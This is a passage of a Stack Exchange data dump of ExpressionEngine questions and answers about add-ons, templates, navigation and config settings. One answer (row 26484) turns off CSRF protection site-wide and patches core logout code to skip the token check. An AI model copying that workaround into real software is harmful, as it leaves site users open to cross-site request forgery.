  <row Id="26469" PostTypeId="1" AcceptedAnswerId="26477" CreationDate="2014-10-28T15:43:42.840" Score="0" ViewCount="46" Body="&lt;p&gt;I have MSM setup for 2 sites. One site uses Structure and I have implemented Zoo Triggers for category functionality for a blog. All is working as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second site does not use MSM but has a blog that uses categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to get categories working in the second site using regular EE categories or Zoo Triggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2014-10-28T19:34:48.157" Title="Zoo Triggers, Structure &amp; MSM Issue" Tags="|multi-site-manager|structure|zoo-triggers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26470" PostTypeId="2" ParentId="26443" CreationDate="2014-10-28T16:14:46.127" Score="2" Body="&lt;p&gt;You need to include a CSRF token as a hidden field. You can generate one easily enough with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#csrf-tokens-in-templates&quot; rel=&quot;nofollow&quot;&gt;Documentation here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-28T16:14:46.127" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26471" PostTypeId="1" CreationDate="2014-10-28T16:38:32.520" Score="0" ViewCount="670" Body="&lt;p&gt;I'm using P&amp;amp;T Fieldpack (2.1.1), EE 2.9.2 and Matrix 2.6. I have a column in my Matrix field that has 2 checkboxes: &quot;text&quot; and &quot;picture&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If only the &quot;text&quot; checkbox is checked then this works to determine that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if my_matrix_column == &quot;text&quot;}popup{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if both are checked, that never returns true. So I try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{my_matrix_column:selected option=&quot;text&quot;}'}popup{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that resolves to true every time - even if nothing at all is checked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, any ideas on how I can tell if the &quot;text&quot; checkbox is selected no matter if the &quot;picture&quot; checkbox is selected or not?&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2015-11-12T12:18:51.957" Title="How to see if a checkbox is selected?" Tags="|matrix|pixelandtonic|field-pack|pt-checkboxes|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26472" PostTypeId="1" AcceptedAnswerId="26490" CreationDate="2014-10-28T17:04:24.450" Score="1" ViewCount="33" Body="&lt;p&gt;How do I limit the number of displayed list items? I tried {list_name limit='2'} which didn't work. Also is there anyway to select which list items to be displayed? &lt;/p&gt;&#xA;" OwnerUserId="3737" LastActivityDate="2014-10-29T14:17:07.523" Title="how to limit field pack list" Tags="|field-pack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26473" PostTypeId="2" ParentId="26449" CreationDate="2014-10-28T17:05:45.017" Score="4" Body="&lt;p&gt;The problem is having no rule and having &lt;code&gt;alpha_dash&lt;/code&gt; are exactly the same thing, so the error message is correct, those are duplicate routes. If you added the &lt;code&gt;:pagination&lt;/code&gt; rule to the &lt;code&gt;{pagination}&lt;/code&gt; variable, then it should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/about/news/{pagination:pagination}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you'll need to have the &lt;code&gt;{pagination:pagination}&lt;/code&gt; rule first, since &lt;code&gt;alpha_dash&lt;/code&gt; would catch any pagination.&lt;/p&gt;&#xA;" OwnerUserId="3041" LastEditorUserId="3041" LastEditDate="2014-10-31T14:50:52.670" LastActivityDate="2014-10-31T14:50:52.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26474" PostTypeId="1" CreationDate="2014-10-28T17:14:16.880" Score="0" ViewCount="53" Body="&lt;p&gt;running ExpressionEngine with Cartthrob - we've come up against a situation where the client has requested to remove a global Tax setting, so that they can have all prices on the site already inclusive of VAT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The price is currently set as a custom variable, alongside some other custom variables for previous price settings and others (we inherited this site from another dev team). Our problem is that we now need to add 20% to all prices, to bring them in line with correct pricing now there is no global tax in effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way of achieving this, in a way that doesn't involve manually changing each product entry? My initial thought was to perform an export of the dataset (CSV or otherwise) for products, create a calculation in the resulting file to generate new prices, and then reimport into EE. I tried exporting by creating a custom export template with download csv headers, but it resulted in an empty export. I also tried looking to the database for manipulating via sql, but of course the custom variables are not stored within a flat table structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be greatly appreciated - worth noting I do need to be able to import this back in at the end of the process too! Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ben&lt;/p&gt;&#xA;" OwnerUserId="3659" LastActivityDate="2016-06-04T22:48:27.857" Title="Best way to edit all custom variable values and re-import" Tags="|channel-entries|cartthrob|custom-fields|import|export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26475" PostTypeId="2" ParentId="26466" CreationDate="2014-10-28T17:57:23.577" Score="1" Body="&lt;p&gt;Go into Add-Ons -&gt; Fieldtypes and click on Settings next to your WYGWAM fieldtype. In there, click on the Settings button. There's a setting called &quot;File Browser&quot;. Choose Assets instead of the EE File Manager. Click Submit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you're in a WYGWAM field, click on the image icon like usual to add an image, then click &quot;Browse Server&quot;. This will bring up the Assets panel. &lt;/p&gt;&#xA;" OwnerUserId="1354" LastActivityDate="2014-10-28T17:57:23.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26476" PostTypeId="2" ParentId="26419" CreationDate="2014-10-28T18:21:10.543" Score="0" Body="&lt;p&gt;The problem was with a jQuery conflict. I had 1.9.x and that was causing an error. Once I put the jQuery in the header and included it in the script it works fine. It's disappointing that this has to be set up this way given that most people put JS in their footer and jQuery 1.8.3 is ancient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, well. At least I got it working.&lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2014-10-28T18:21:10.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26477" PostTypeId="2" ParentId="26469" CreationDate="2014-10-28T19:34:48.157" Score="0" Body="&lt;p&gt;There is a new version of Zoo Triggers (1.2.5) on devot:ee which should fix this issue.&lt;/p&gt;&#xA;" OwnerUserId="858" LastActivityDate="2014-10-28T19:34:48.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26478" PostTypeId="2" ParentId="26267" CreationDate="2014-10-28T20:07:27.257" Score="0" Body="&lt;p&gt;The latest update for Zoo Triggers (1.2.5) released today fixed this issue :-)&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-10-28T20:07:27.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26480" PostTypeId="2" ParentId="25416" CreationDate="2014-10-28T20:50:52.537" Score="1" Body="&lt;p&gt;Ha, not sure if this is exactly what you want, but I was able to once map out how to tie relationships to a grid for our company.  I hope this helps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field group:field label}&#xA;      {field group:field label: grid field name 1} --&amp;gt; one item&#xA;      {field group:field label: grid field name 2} --&amp;gt; another item&#xA;{/field group:field label}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3739" LastActivityDate="2014-10-28T20:50:52.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26481" PostTypeId="2" ParentId="26459" CreationDate="2014-10-28T21:57:03.617" Score="2" Body="&lt;p&gt;The quick fix I found was just to change the dbdriver to 'mysql' not mysqli in the database config, however this is not so much a fix as a work around.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2014-10-28T21:57:03.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26482" PostTypeId="1" AcceptedAnswerId="26644" CreationDate="2014-10-28T22:20:34.410" Score="0" ViewCount="242" Body="&lt;p&gt;I am completely new to Expression Engine and I am trying to reverse engineer a site that someone else built. From what I understand, there is a plugin called &quot;Structure&quot; which controls the main navigation of the site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:escape}&#xA;    {exp:ce_cache:it:nested id=&quot;topnav&quot; global=&quot;no&quot; seconds=&quot;3600&quot;}&#xA;        {exp:structure:nav start_from=&quot;/&quot; show_depth=&quot;2&quot; max_depth=&quot;2&quot; add_unique_ids=&quot;yes&quot; css_class=&quot;topnav&quot; css_id=&quot;none&quot; current_class=&quot;current&quot; include=&quot;3|4|5|17|18&quot; exclude=&quot;10&quot;}&#xA;    {/exp:ce_cache:it:nested}&#xA;{/exp:ce_cache:escape}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a navigation item which contains too many sub-items (which results in a really long drop-down), so my task is to hide the sub-items while keeping the page that they link to. I went to the &quot;Structure&quot; section of admin and only found the ability to delete pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I hide the drop-down for this particular nav item?&lt;/p&gt;&#xA;" OwnerUserId="924" LastActivityDate="2014-11-07T20:48:00.487" Title="How to remove sub-items from a Structure navigation item?" Tags="|structure|navigation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26484" PostTypeId="2" ParentId="26422" CreationDate="2014-10-29T02:10:45.930" Score="0" Body="&lt;p&gt;I found an answer that seems to be working. Here are the details in case anyone else is having a similar issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I kept the code in the config.php file that turns off CSRF protection:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['disable_csrf_protection'] = 'y'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to fix the issue with logout failing, I implemented an edit suggested by Robin Sowell on the Ellis Lab forum. The edit is in the file &quot;system/expressionengine/modules/member/mod.member_auth.php&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find this code in that file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($token != CSRF_TOKEN)&#xA;{&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! bool_config_item('disable_csrf_protection') &amp;amp;&amp;amp; $token != CSRF_TOKEN)&#xA;{&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3733" LastActivityDate="2014-10-29T02:10:45.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26485" PostTypeId="2" ParentId="26468" CreationDate="2014-10-29T03:19:12.160" Score="1" Body="&lt;p&gt;You can do this using conditionals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're &lt;strong&gt;looping through each day&lt;/strong&gt;, you can filter by a day, eg. Sunday, this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;today&quot; date_range_end=&quot;+6 months&quot; pad_short_weeks=&quot;n&quot;}&#xA;  {display_each_day}&#xA;    {if '{day format=&quot;%D&quot;}' == 'Sun'}&#xA;      &amp;lt;p&amp;gt;{day format=&quot;%Y.%m.%d&quot;} is on a Sunday. Here are the events on this day:&amp;lt;/p&amp;gt;&#xA;      &amp;lt;ul&amp;gt;&#xA;      {events}&#xA;        &amp;lt;li&amp;gt;{event_title}&amp;lt;/li&amp;gt;&#xA;      {/events}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;  {/display_each_day}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you're &lt;strong&gt;looping through events&lt;/strong&gt;, you could use &lt;code&gt;{event_start_date}&lt;/code&gt; to build a similar filtering conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;today&quot; date_range_end=&quot;+6 months&quot; pad_short_weeks=&quot;n&quot;}&#xA;  {events}&#xA;    {if '{event_start_date format=&quot;%D&quot;}' == 'Sun'}&#xA;      &amp;lt;p&amp;gt;The following event is on a Sunday:&amp;lt;/p&amp;gt;&#xA;      &amp;lt;ul&amp;gt;&#xA;        &amp;lt;li&amp;gt;{event_title}, starts on {event_start_date format=&quot;%Y.%m.%d&quot;}&amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;  {/events}&#xA;{/exp:calendar:cal} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-10-29T03:19:12.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26486" PostTypeId="2" ParentId="26482" CreationDate="2014-10-29T05:17:18.103" Score="0" Body="&lt;p&gt;If I am understanding you, you would like to hide all the subitems and keep the main navigation unchanged? This can be done by changing show_depth=&quot;2&quot; to show_depth=&quot;0&quot;. That way all you will see is the main navigation and there will no longer be a dropdown for the subitems.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:escape}&#xA;    {exp:ce_cache:it:nested id=&quot;topnav&quot; global=&quot;no&quot; seconds=&quot;3600&quot;}&#xA;        {exp:structure:nav start_from=&quot;/&quot; show_depth=&quot;0&quot; max_depth=&quot;2&quot; add_unique_ids=&quot;yes&quot; css_class=&quot;topnav&quot; css_id=&quot;none&quot; current_class=&quot;current&quot; include=&quot;3|4|5|17|18&quot; exclude=&quot;10|#|#|#|#&quot;}&#xA;    {/exp:ce_cache:it:nested}&#xA;{/exp:ce_cache:escape}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3356" LastEditorUserId="3356" LastEditDate="2014-10-29T05:44:51.543" LastActivityDate="2014-10-29T05:44:51.543" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26487" PostTypeId="2" ParentId="26474" CreationDate="2014-10-29T05:21:58.647" Score="0" Body="&lt;p&gt;How were the actual variables being declared or set to begin with? Were they being set in the CP or a master configuration file?&lt;/p&gt;&#xA;" OwnerUserId="3356" LastActivityDate="2014-10-29T05:21:58.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26488" PostTypeId="1" AcceptedAnswerId="26508" CreationDate="2014-10-29T10:09:13.480" Score="0" ViewCount="113" Body="&lt;p&gt;I'm trying to show products that are in X and are also in Y categories. Not all products in X and all products in Y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low kindly replied suggesting adding &quot;require_all&quot; to the results tag. This works a charm, but only seems to work a charm when there is more than 1 category in the search query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form &#xA;    query=&quot;{segment_3}&quot;&#xA;    result_page=&quot;{prv_template_group}/filter&quot;&#xA;    collection=&quot;entry_product&quot;&#xA;}&#xA;&#xA;    {exp:gwcode_categories &#xA;        channel=&quot;{prv_channels}&quot; &#xA;        depth=&quot;1&quot; &#xA;        style=&quot;linear&quot;&#xA;    }&#xA;&#xA;        {if group_start}&#xA;            &amp;lt;ul class=&quot;list-horizontal list-pill border pad mobile-no-display&quot;&amp;gt;&#xA;                &amp;lt;li class=&quot;title&quot;&amp;gt;&#xA;                    &amp;lt;h6&amp;gt;{cat_group_name}&amp;lt;/h6&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;#&quot; class=&quot;custom-checkbox{if &quot;{cat_id}&quot; IN ({low_search_category})} active{/if}&quot; data-filter-desktop=&quot;filter-{cat_group_id}&quot; data-value=&quot;{cat_id}&quot;&amp;gt;&#xA;                    {cat_name}&#xA;                    &amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; value=&quot;{cat_id}&quot;{if &quot;{cat_id}&quot; IN ({low_search_category})} checked=&quot;checked&quot;{/if}&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;&#xA;            &amp;lt;/li&amp;gt;   &#xA;&#xA;        {if group_end}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        {/if}&#xA;&#xA;    {/exp:gwcode_categories}&#xA;&#xA;    &amp;lt;ul class=&quot;list-horizontal list-pill pad&quot;&amp;gt;&#xA;        &amp;lt;li class=&quot;title-offset&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; class=&quot;button large&quot; id=&quot;filter-button&quot; value=&quot;Update Results&quot;&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;a href=&quot;{site_url}index.php/{prv_template_group}&quot; class=&quot;button grey adjust&quot;&amp;gt;Clear Filter&amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Filter template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;    query=&quot;{segment_3}&quot;&#xA;    limit=&quot;12&quot;&#xA;    result_page=&quot;{prv_channels}/filter&quot;&#xA;    channel=&quot;entry_product&quot;&#xA;    require_all=&quot;category&quot;&#xA;}&#xA;&#xA;    {if low_search_no_results}&#xA;&#xA;        {lv_alert_search_null}&#xA;&#xA;    {/if}&#xA;&#xA;    {entry_id}&#xA;&#xA;    {paginate}&#xA;&#xA;        {pagination_links}&#xA;&#xA;            &amp;lt;div class=&quot;section pad-b&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;section-container&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;center&quot;&amp;gt;&#xA;&#xA;                        {previous_page}&#xA;                            &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;pagination-arrow prev&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        {/previous_page}&#xA;&#xA;                        &amp;lt;ul id=&quot;pagination-numbers&quot;&amp;gt;&#xA;                            {page}&#xA;                                &amp;lt;li class=&quot;{if current_page}active{/if}&quot;&amp;gt;&#xA;                                    &amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&#xA;                                        {pagination_page_number}&#xA;                                    &amp;lt;/a&amp;gt;&#xA;                                &amp;lt;/li&amp;gt;&#xA;                            {/page}&#xA;                        &amp;lt;/ul&amp;gt;&#xA;&#xA;                        {next_page}&#xA;                            &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;pagination-arrow net&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        {/next_page}&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        {/pagination_links}&#xA;&#xA;    {/paginate}&#xA;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-10-30T09:26:54.203" Title="Low Search Filter with require_all" Tags="|search|module|low-search|low|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26489" PostTypeId="2" ParentId="26471" CreationDate="2014-10-29T14:12:13.617" Score="1" Body="&lt;pre&gt;&lt;code&gt;{if '{my_matrix_column:selected option=&quot;text&quot;}'}popup{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should definitely work, according to the Field Pack docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also just loop through and do your conditional inside the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_matrix_column}&#xA;    {if option == &quot;text&quot;}popup{/option}&#xA;{my_matrix_column}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-29T14:12:13.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26490" PostTypeId="2" ParentId="26472" CreationDate="2014-10-29T14:17:07.523" Score="0" Body="&lt;p&gt;You cannot limit how many entries are returning from a Field Pack List field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To filter the items displayed, you could do a conditional check on each item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{list_name}&#xA;    {if item != &quot;foo&quot;}{item}{/if}&#xA;{/list_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-29T14:17:07.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26491" PostTypeId="2" ParentId="26411" CreationDate="2014-10-29T14:29:22.450" Score="0" Body="&lt;p&gt;You can use my &lt;a href=&quot;http://devot-ee.com/add-ons/eevent-helper&quot; rel=&quot;nofollow&quot;&gt;EEvent Helper&lt;/a&gt; extension to do this - it allows you to select &quot;start&quot; and &quot;end&quot; dates for entries, and clone those custom field dates to the Entry Date and Expiration Date respectively.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-29T14:29:22.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26492" PostTypeId="1" CreationDate="2014-10-29T14:37:09.607" Score="0" ViewCount="69" Body="&lt;p&gt;I have a small php forum on my website that allows users to create posts and each post has a page that displays the content and where users can comment on that topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each post created a new table is generated in the database to hold the comments for that post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to convert the system from raw php to expression engine and i have the following question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way (like a php hook) to create and delete channels directly from php like you would create and delete tables from the database.&#xA;I want to generate a new channel to store comments when a new post is created and delete that same channel when the post is deleted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe it's better to just have one channel to hold all of the comments and have an id for each comment to know what post it's coming from.&lt;/p&gt;&#xA;" OwnerUserId="3742" LastActivityDate="2014-10-29T14:37:09.607" Title="Create a new channel in php" Tags="|channel|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26493" PostTypeId="2" ParentId="26401" CreationDate="2014-10-29T14:38:36.803" Score="1" Body="&lt;p&gt;Correct - it'll have to be a Matrix field, as I believe that Playa is not compatible with the Grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll have to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;find all of the entries in &lt;code&gt;exp_playa_relationships&lt;/code&gt; which use the old &lt;code&gt;parent_field_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;change each row to the new &lt;code&gt;parent_field_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;insert a new entry in &lt;code&gt;exp_matrix_data&lt;/code&gt; with the correct &lt;code&gt;entry_id&lt;/code&gt; and &lt;code&gt;field_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;add the new &lt;code&gt;parent_col_id&lt;/code&gt; and &lt;code&gt;parent_row_id&lt;/code&gt; (which will be &lt;code&gt;0&lt;/code&gt;) to your existing &lt;code&gt;exp_playa_relationships&lt;/code&gt; row&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-10-29T14:38:36.803" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26494" PostTypeId="2" ParentId="26382" CreationDate="2014-10-29T14:44:18.073" Score="3" Body="&lt;p&gt;That's because the config file is checking the value of &lt;code&gt;$_SERVER['HTTP_HOST']&lt;/code&gt;. What you need to check is &lt;code&gt;$_SERVER['SERVER_ADDR']&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!empty($_SERVER['HTTP_HOST']))&#xA;{&#xA;    switch (strtolower($_SERVER['HTTP_HOST'])) {&#xA;        // Standard case statements here&#xA;    }&#xA;}&#xA;else&#xA;{&#xA;    if($_SERVER['SERVER_ADDR'] == '111.222.333.444')&#xA;    {&#xA;        define('ENV', 'stage');&#xA;        define('ENV_FULL', 'Staging');&#xA;        define('ENV_DEBUG', FALSE);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-01-23T14:13:03.800" LastActivityDate="2015-01-23T14:13:03.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26495" PostTypeId="1" AcceptedAnswerId="26510" CreationDate="2014-10-29T15:19:15.457" Score="0" ViewCount="52" Body="&lt;p&gt;I just purchased the Gift Certificates plugin yesterday and am setting up the Add to Cart form today.  Here is the current version of the tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob_gift_certificates:add_to_cart_form return=&quot;shop/cart&quot; on_the_fly=&quot;yes&quot; allow_user_price=&quot;yes&quot; shipping_exempt=&quot;yes&quot;}&#xA;    &amp;lt;label for='price'&amp;gt;Price&amp;lt;/label&amp;gt;&#xA;    &amp;lt;select name='price' id='price' /&amp;gt;&#xA;        &amp;lt;option value=&quot;25&quot;&amp;gt;$25&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;50&quot;&amp;gt;$50&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;100&quot;&amp;gt;$100&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;250&quot;&amp;gt;$250&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;500&quot;&amp;gt;$500&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;1000&quot;&amp;gt;$1000&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;&#xA;    &amp;lt;label for='gift_certificate_email_address'&amp;gt;Recipient Email Address&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;gift_certificate_email_address&quot; id=&quot;gift_certificate_email_address&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;label for='gift_certificate_note'&amp;gt;Note&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; value=&quot;&quot; name=&quot;gift_certificate_note&quot; id=&quot;gift_certificate_note&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;control-group full&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;            &amp;lt;input class=&quot;add-cart&quot; type=&quot;submit&quot; value=&quot;Add to Cart&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:cartthrob_gift_certificates:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is currently causing the following fatal error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TsXFZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an older forum post that lists another fatal error in a different file, but references sort of the same situation (I was looking for how to let the user choose the price for the gift certificate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what is causing this error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.8.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob Pro 2.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob Gift Certificates 1.25&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have CartThrob Credits 1.21 installed if that plays a factor.&lt;/p&gt;&#xA;" OwnerUserId="2002" LastActivityDate="2014-10-30T11:15:11.840" Title="CartThrob Gift Certificates Add to Cart form causing fatal error" Tags="|cartthrob|giftcertificates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
